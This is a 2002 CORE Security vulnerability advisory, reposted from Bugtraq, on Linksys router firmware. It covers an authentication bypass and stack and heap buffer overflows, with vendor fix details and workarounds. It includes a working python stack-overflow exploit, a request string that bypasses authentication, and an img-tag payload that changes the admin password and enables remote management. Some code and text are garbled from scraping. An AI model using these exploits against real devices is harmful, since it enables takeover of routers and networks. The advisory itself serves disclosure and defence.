

CORE-20021005: Vulnerability Report For Linksys Devices

Source: <http://www.derkeiler.com/Mailing-Lists/securityfocus/bugtraq/2002-12/0026.html>

From: Carlos Sarraute (carlos@corest.com)

Date: 12/03/02

Date: Mon, 02 Dec 2002 22:49:03 -0300
From: Carlos Sarraute <carlos@corest.com>
To: bugtraq@securityfocus.com

CORE Security Technologies

<http://www.corest.com>

Vulnerability Report For Linksys Devices

Date Published: 2002-12-02

Last Update: 2002-12-02

Advisory ID: CORE-20021005

Bugtraq ID: None currently assigned.

CVE: None currently assigned.

Title: Remotely exploitable Buffer overflows and Authentication bypassing bugs on Linksys BEFW11S4 Wireless router and other devices.

Class: Implementation flaws

Remotely Exploitable: Yes

Locally Exploitable: Yes

Advisory URL: <http://www.corest.com/common/showdoc.php?idx=263&idxseccion=10>n and WebScanX are running in localsystem contex. Linksys fix provided in response to another advisory: 2002-11-15 (v1.43.3)

Vendors contacted:

- Linksys

. CORE notification: 2002-11-12

. Notification acknowledged by Linksys: 2002-11-13

. Linksys fix provided in response to another advisory: 2002-11-15 (v1.43.3)

. CORE tested fix, found new and still existing bugs: 2002-11-15

SecurityFocus Bugtraq: CORE-20021005: Vulnerability Report For Linksys Devices

- . Linksys fix provided: 2002-11-22 (v1.44)
- . CORE tested fix: 2002-11-22
- . Linksys final testing and statements: 2002-12-02

Release Mode: COORDINATED RELEASE

Vulnerability Description:

Many Linksys' network appliances have a remote administration and configuration interface via HTTP, either from the local network, or, if it's enabled, from any host across the internet. The implementation of the embedded HTTP server presents several different exploitable vulnerabilities, some of them allow an unauthorized user to gain control of the appliance, some let an attacker reboot it, and some are of an unknown severity.

One of the bugs was independently discovered by Seth Bromberger and other people as well, and was partially fixed by Linksys on firmwares version 1.43.3 (see [2]). Some of the other bugs were discussed on different mailing lists, and were incorrectly tagged as different Denial of Service bugs, while either they are different incarnations of the same bugs or are exploitable buffer overflows leading to code execution, as we will try to explain in this advisory. Yet some other bugs, form a big family from which only one was mentioned in an iDefense advisory [3].

The first bug is due to the fact that no authentication is required to access any .xml page from the appliance. This is needed to support UPnP, but is not disabled when UPnP support is disabled. An error in how the URL is parsed allows any user to access any page in the remote administration interface without supplying a password. After this, she could modify filtering rules, change the administration password, enable remote administration from any host on the internet, upload a new firmware, and perform any other configuration action an authenticated user is able to do. This bug was partially fixed on firmware version 1.43.3, but in this version there is still a way to bypass authentication using the checks for UPnP's .xml pages. At the same time, three other similar bugs were introduced in this firmware (only for BEFW11S4), which allow authentication bypassing in a similar way.

The second kind of bugs are due to a stack based buffer overflow, and let an attacker execute arbitrary code in the appliance, gaining total control over it. After this, she could change any of the configuration options previously mentioned, or even turn it into an agent which could be used as stepping stone to pivot, either to the internal network, or to the internet, as part of a

SecurityFocus Bugtraq: CORE-20021005: Vulnerability Report For Linksys Devices

more complex attack. As this bug is present in the code previous to authentication, no password is needed to exploit this vulnerability.

Additionally, there are several "heap" based buffer overflows, all of them, as far as we could verify, are post authentication. We haven't determined if the exploitation of these bugs may lead to arbitrary code execution or any other way of "privilege escalation", but we do not discard this possibility.

Vulnerable Systems:

The problems were identified and tested on:

- Linksys BEFW11S4 v2. Firmware v1.42.7
- Linksys BEFW11S4 v2. Firmware v1.43
- Linksys BEFW11S4 v2. Firmware v1.43.3 (partially fixes some bugs)

Known to be vulnerable to all the pre v.1.43.3 bugs:

- Linksys BEFW11S4 v2. Firmware v1.42.7
- Linksys BEFW11S4 v2. Firmware v1.43
- Linksys BEFSR41 / BEFSR11 / BEFSRU31. Firmware v1.42.7
- Linksys BEFSR41 / BEFSR11 / BEFSRU31. Firmware v1.43
- Linksys BEFSR81. Firmware v2.42.7.1
- Linksys BEFN2PS4. Firmware v1.42.7
- Linksys BEFSX41. Firmware v1.43
- Linksys BEFSX41. Firmware v1.43.3
- Linksys BEFSX41. Firmware v1.43.4

Known to be vulnerable to some of the bugs here described:

- Linksys BEFVP41. Firmware v1.40.2
- Linksys BEFVP41. Firmware v1.40.3

Known to have some bugs fixed and some new introduced:

- Linksys BEFW11S4 v2. Firmware v1.43.3
- Linksys BEFSR41 / BEFSR11 / BEFSRU31. Firmware v1.43.3

Firmwares previous to those mentioned here may be vulnerable to some of the vulnerabilities here described, but were not verified.

Solution/Vendor Information

"Linksys has already posted firmware updates for the following affected products at <http://www.linksys.com/download/> :

- Linksys BEFSR41 / BEFSR11 / BEFSRU31. Firmware v. 1.44
- Linksys BEFSR81. Firmware v. 2.44
- Linksys BEFVP41. Firmware v. 1.40.4
- Linksys BEFSX41. Firmware v. 1.44

SecurityFocus Bugtraq: CORE-20021005: Vulnerability Report For Linksys Devices


– Linksys BEFW11S4 ver2. Firmware v. 1.44

We are currently working on updates for the following products, and hope to have them posted this week:

- Linksys BEFW11S4 ver1
- Linksys HPRO200
- Linksys BEFN2PS4

Linksys recommends that users update their firmware for their device, if available. For users of products that do not yet have fixes available, it is recommended to disable remote administration to minimize the risk of an attack until the updated firmware versions are posted."

Workarounds

– Disable "Remote Management" if it's enabled. This will restrict the exploitability of the bugs to the local network, or require a little smarter attack, for example, an email with an embedded  tag may, upon reading, enable "Remote Management", giving the attacker full control of the appliance across the internet. For example:

<img

Src=<http://192.168.1.1/Gozila.cgi?setPasswd=hola&RemoteManagement=1&xml=1>

– On firmwares newer than 1.43.3 the Remote Management port can be changed. This will not make the attack impossible at all, but will somehow make it a little tougher for an attacker, probably giving you some more time to the detect her.

Credits:

These vulnerabilities were discovered and researched by Gerardo Richarte at CORE SECURITY TECHNOLOGIES.

We would like to thank Jay Price from Linksys for the quick response to these issues.

Technical Description – Exploit/Concept Code

Every test described in this section was done using a Linksys BEFW11S4 v2 with firmware version 1.42.7, bought on the first days of October in 2002, no firmware upgrade was applied to it until a new firmware version was out, after this we installed 1.43.3 on it to confirm our findings. We also verified other versions of the firmware (namely 1.43) and firmwares for other products from Linksys, and all of them presented the same vulnerabilities. Although we haven't been able to verify the existence of these bugs in a real environment,

detailed review of the firmware indicates all the bugs here described are present.

Authentication Bypassing vulnerabilities:

~~~~~  
This vulnerability was independently discovered and reported to Linksys by at least two other persons. Seth Bromberger posted a report to bugtraq about this vulnerability (see [2]). It was partially fixed in firmware v1.43.3, but it's still possible to exploit it, keep on reading.

As part of the UPnP implementation [1], the Linksys family of products multicast their features as part of UPnP's Discovery step. For this UDP packets are sent from port 1901 to multicast address 239.255.255.250 port 1900. The following are two examples of such packets' data.

```
NOTIFY * HTTP/1.1
HOST:239.255.255.250:1900
Cache-Control:max-age=120
Location:http://192.168.1.1:5678/rootDesc.xml
NT:uuid:upnp-InternetGatewayDevice-1_0-0090a2777777
NTS:ssdp:alive
Server:NT/5.0 UPnP/1.0
USN:uuid:upnp-InternetGatewayDevice-1_0-0090a2777777
```

```
NOTIFY * HTTP/1.1
HOST:239.255.255.250:1900
Cache-Control:max-age=120
Location:http://192.168.1.1:5678/rootDesc.xml
NT:urn:schemas-upnp-org:device:InternetGatewayDevice:1
NTS:ssdp:alive
Server:NT/5.0 UPnP/1.0
USN:uuid:upnp-InternetGatewayDevice-1_0-0090a2777777::urn:schemas-upnp-org:device:InternetGatewayDevice
```

In response to these packets, an UPnP control point will retrieve a description from the URL supplied in the NOTIFY packet, using the HTTP protocol. In our case this URL is <http://192.168.1.1:5678/rootDesc.xml>, and no authentication is needed to access it (you can test this using the browser of your choice). In order to answer requests to port 5678 and to serve remote administration pages on port 80, Linksys' products use the same embedded HTTP server "application".

The HTTP server will check the requested URL for the substring ".xml", if this substring is present, all the authentication verification code will be just skipped, let s see the following ARM assembly fragment, extracted from a firmware image:

```
01797E LDR R0, =HTTPRequest
017980 STR R7, [R0,#HttpRequest.buffer]
017982 LDR R0, =HTTPRequest
017984 LDRH R0, [R0,#HttpRequest.method_length]
017986 ADD R0, R0, R7
017988 ADD R0, #1
01798A LDR R1, =HTTPRequest
01798C STR R0, [R1,#HttpRequest.path]
01798E ADD R0, R7, #0
017990 ADR R1, a_xml_0 ; ".xml"
017992 BL strstr ; (string, subst)
017996 CMP R0, #0
017998 BEQ loc_179A2 ; read more from net and do auth
01799A MOV R0, #0
01799C LDR R1, =HTTPRequest
01799E STRH R0, [R1,#HttpRequest.has_args+2]
0179A0 B loc_17ACE ; skip auth
```

As this code is shared for serving UPnP requests (on port 5678) and any other HTTP requests, the authentication can be bypassed just adding the string ".xml" anywhere in the requested URL: The function strstr() at 0x17992 will answer there is a substring matching ".xml" and the conditional jump at 0x17ACE will skip the authentication verification code (and some other code as well).

These checks were reinforced with additional comparisons. The idea was to authorize requests without authentication only for /rootDesc.xml, /Layer3Forwarding.xml, /WANCfg.xml and WANIPCN.xml. But the request is parsed in, at least, two different places in the code, and these two parsings are not coherent, so there is still a way to bypass the authentication. We will not go through the code this time, but if you replace the correct line in linksys\_exploit.py (below) you would be able to access the Remote Management interface without having the correct password:

```
selfToSend = "BBB /Log.htm GET /rootDesc.xml"
```

There are other ways to exploit this bug, for example, we've been able to craft an HTML page which, when loaded, changes the Remote Management password, and enables Remote Management through the internet. Of course, this page could be attached to an email, and be used to perform these changes "from the internet, even when the Remote Management feature is disabled".

Additionally, in firmware v1.43.3 three other authentication bypassing vulnerabilities were introduced. These new vulnerabilities work in

pretty much the same way as the original ".xml" vulnerability, but the new magic strings are different: "TxRxTest", "CalibrationTest" and "WriteCalibration". Linksys reported that these vulnerabilities are only present in the wireless products of the family. It's worth to mention that we haven't verified the security implications (if there are any) of allowing unauthorized access to these three requests.

Stack Based Buffer Overflows:

~~~~~ ~~~~~ ~~~~~ ~~~~~~

Following the previously described code, if the request line does not contain the substring ".xml", if it's a GET request and, after what we believe is a small delay, a second part of the request is read from the net. On entry to this function, space is allocated in the stack for local variables and buffers. Only 0x1FC+0x1F0 = 1004 bytes are reserved.

```
01791C PUSH {R0-R2,R4-R7,LR}
01791E ADD R7, R0, #0
017920 SUB SP, SP, #0x1FC
017922 SUB SP, SP, #0x1F0
017924 LDR R0, =unk_A016C
```

Then, 1596 bytes are read from the net into a local buffer in the stack. Not every request will have enough bytes to overflow the buffer, and that's why the code doesn't usually crash. But if a long request is sent, the buffer is overflowed and the stack can be modified "a piacere". Note that the "first fragment" is read before entering these functions, into another buffer allocated in the stack.

```
0179E4 ADD SP, SP, #4
0179E6 LDR R0, [R6,#HttpRequest.response_length]
0179E8 CMP R0, #0
0179EA BEQ loc_187D8
0179EC MOV R1, SP
0179EE LDR R0, [SP,#connection_id]
0179F0 LDR R2, =1596
0179F2 BL read_from_net ; (sock, buffer, buffer_size)
0179F6 ADD R4, R0, #0
0179F8 ADD R2, R4, #0
0179FA ADR R1, aSFP ; "Second fragmented packe.."
0179FC MOV R0, #2
0179FE BL log ; (loglevel,char *format,...)
017A02 MOV R1, #0
017A04 MOV R0, SP
017A06 STRB R1, [R0,R4]
```

```
017A08 MOV R1, SP
017A0A ADD R0, R7, #0
017A0C BL strcat
```

There is another problem on this code fragment. After reading the second fragment of the request, `strcat()` is used to append it to the first fragment, but the first fragment is also stored in a local buffer of 1596 bytes. While this is in fact a buffer overflow, its exploitability is not yet determined, as we are dealing with a bigendian setup, and all valid memory addresses contain a zero in their most significant byte... But we've seen tougher bugs exploited, so...

This second vulnerability regarding `strcat()` was partially fixed on firmware v

1.43.3. Partially for two different reasons:

On one side, there are two callers of this function, from what we could determine one caller is responsible for requests done to the Remote Management port, and the other caller answers requests to port 5678. Only one of these functions was fixed (extending the buffer size from 1596 to 3192), but the other function (the one answer requests on port 5678) is still allocating only 1596 bytes. You can test this vulnerability changing the correct line in, again, `linksys_exploit.py` to:

```
self.s.connect(('192.168.1.1',5678))
```

For this to work, UPnP must be enabled (at least on v1.43.3)

On the other side this is only a partial fix because, although the buffer was enlarged from 1596 to 3192, the `read()` for the first fragment was also increased from 1596 to 3192 bytes, and the `strcat()` would still overflow the buffer if there are more than 1596 bytes to read for the first fragment. This does not immediately lead to a vulnerability, as Linksys' internal TCP implementation will not return more than MTU bytes on a single read, but if this fact is changed in the future, this vulnerability will mysteriously re-appear.

The following python program will exploit the first of the two buffer overflows, and redirect the execution flow to jump to the address `0x175fa` (only valid for BEFW11S4 for firmware v1.42.7. For v1.43 or other appliances you'll have to change it). For this proof of concept exploit we are not introducing our own code (or "shellcode"), we are rather using code already present in the firmware, with the only purpose of showing the exploitability of the bug.

```
----- linksys_exploit.py -----
import socket
import struct
```

```

import select

class Exploit:
def __init__(self):
pass

def setup(self):
self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.s.connect(('192.168.1.1',80))

self.returnAddress = 0x1834c # 1.43 log(2,"unknown file name!")
self.returnAddress = 0x175fa # 1.42.7 log(2,"unknown file name!")

self.paddingSize = 1500-20-20+1004+7*4
# 1500 is MTU
# 20 IP header
# 20 TCP header
# 1004 for allocated space
# 7 saved registers
selfToSend = "GET "
selfToSend += "A"*(self.paddingSize-len(selfToSend))
selfToSend += struct.pack(">L", self.returnAddress)

def attack(self):
self.s.send(selfToSend)
(r,w,x) = select.select([self.s],[],[],2)
if self.s in r:
print self.s.recv(100000)
self.s.close()

def run(self):
self.setup()
self.attack()

def main():
ex = Exploit()
ex.run()

main()
-----

```

To understand what the code at the chosen address does, we need some more insight in what are firmware's capabilities.

In the previous assembly fragment, at 0x179FE you can see a function we named `log()` being called. This function will send an SNMP trap to the configured SNMP server. The first argument (2 in this example) is a bitmask indicating the facility the message applies to. You can configure your SNMP server from the Log tab in the HTTP administration page. From this page you can also

enable or disable the "Access" facility. If you check the source for that page, you'll see it's setting bit 0 of the rLog variable. The other meaningful bits are, apparently 1,2 and 3, "System", "PPPoE & RAS" and "NAT" facilities, respectively. We first thought we would have to manually deal with bits!, but we later found there is a page you can use to change these values, if your Linksys appliance is at 192.168.1.1 you can try your preferred browser on <http://192.168.1.1/LogManage.htm>. This page is not reachable from any other page in the Remote Management system.

Back to where we left. The described code fragment is calling log(2, "Second fragmented packet comes in, len=%d", len). In order to see the SNMP trap generated we'll have to enable facility "System" and setup our SNMP traps server. After doing this, you should start seeing SNMP traffic coming from the appliance. If you don't want to use a sniffer, you can either download some SNMP monitoring application, use one you already have, use netcat or use the python program included, which just dumps incoming packets to UDP port 162... which is a little more than enough.

Back to the last remaining bit of the exploit, the code we are jumping to is:

```
0175FA MOV R0, #1
0175FC LDR R1, =unk_A0180
0175FE STR R0, [R1,#0x20]
017600 ADR R1, aUnknownFileNam ; "Unknown File Name !"
017602 MOV R0, #2
017604 BL log
```

This code just sends an SNMP trap with the string "Unknown File Name !" through the network. So, if the exploit works and you are able to see SNMP traps, you'll see this string on the net. After this the appliance will reboot itself, and start working again, without losing any configuration. If you are doing all this on a wireless connection as we did, you may need to rescan/reconnect to the AP in order for it to work again (probably only true if WEP is enabled)

```
----- snmp-traps.py -----
import socket

class SNMPTrapsServer:
def __init__(self):
pass

def start(self):
self.s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
```

```
self.s.bind(("0",162))
while 1:
snmp = self.s.recv(1500)
print snmp[73:]

def stop(self):
self.s.close()

server = SNMPTrapsServer()
server.start()
server.stop()
```

"Heap" Based Buffer Overflows:

~~~~~ ~~~~~ ~~~~~ ~~~~~~

Configuration is maintained in global variables on fixed locations, there is no dynamic heap allocation routines in the firmware, as far as we could determine. From what we saw, every string variable is copied from the HTTP request to the global storage using strcpy(), what directly turns every string variable in a possibility of causing a buffer overflow.

Ignoring the authentication bypassing bugs (which will hopefully be fixed now), to be able to overflow any of these buffers, an attacker must be authenticated, and even then, we are not sure how much damage can be done. From our tests, it is possible to force a reboot using some of these buffer overflows. And although we haven't been able to execute arbitrary code abusing any of this bugs, we do not discard the possibility. There are some linked lists handling (related to active connections), and some function pointers (related to IRQ handling) probably too far ahead in the memory to be reachable with one of these buffer overflows.

Some of the variables which are copied using strcpy() are:

"V\_nameA" through "V\_nameJ", "Vn?" where "?" is one of 30 different characters,  
"ApName0" through "ApName9", "hostName", "DomainName", "sysPasswd",  
"wirelessESSID", "Passphrase", "pppoeUName", "pppoePWD", "pppoeSName",  
"community1", "community2", "community3", "community4", probably others.

\*REFERENCES:\*

[1] Universal Plug and Play Device Architecture, version 1.0  
[http://www.upnp.org/download/UPnPDA10\\_20000613.htm](http://www.upnp.org/download/UPnPDA10_20000613.htm)

[2] Linksys router vulnerability

<http://online.securityfocus.com/archive/1/300402>

[3] iDefense security advisory

<http://www.odefense.com/advisory/11.19.02a.txt>

\*DISCLAIMER:\*

The contents of this advisory are copyright (c) 2002 CORE SECURITY TECHNOLOGIES

and may be distributed freely provided that no fee is charged for this distribution and proper credit is given.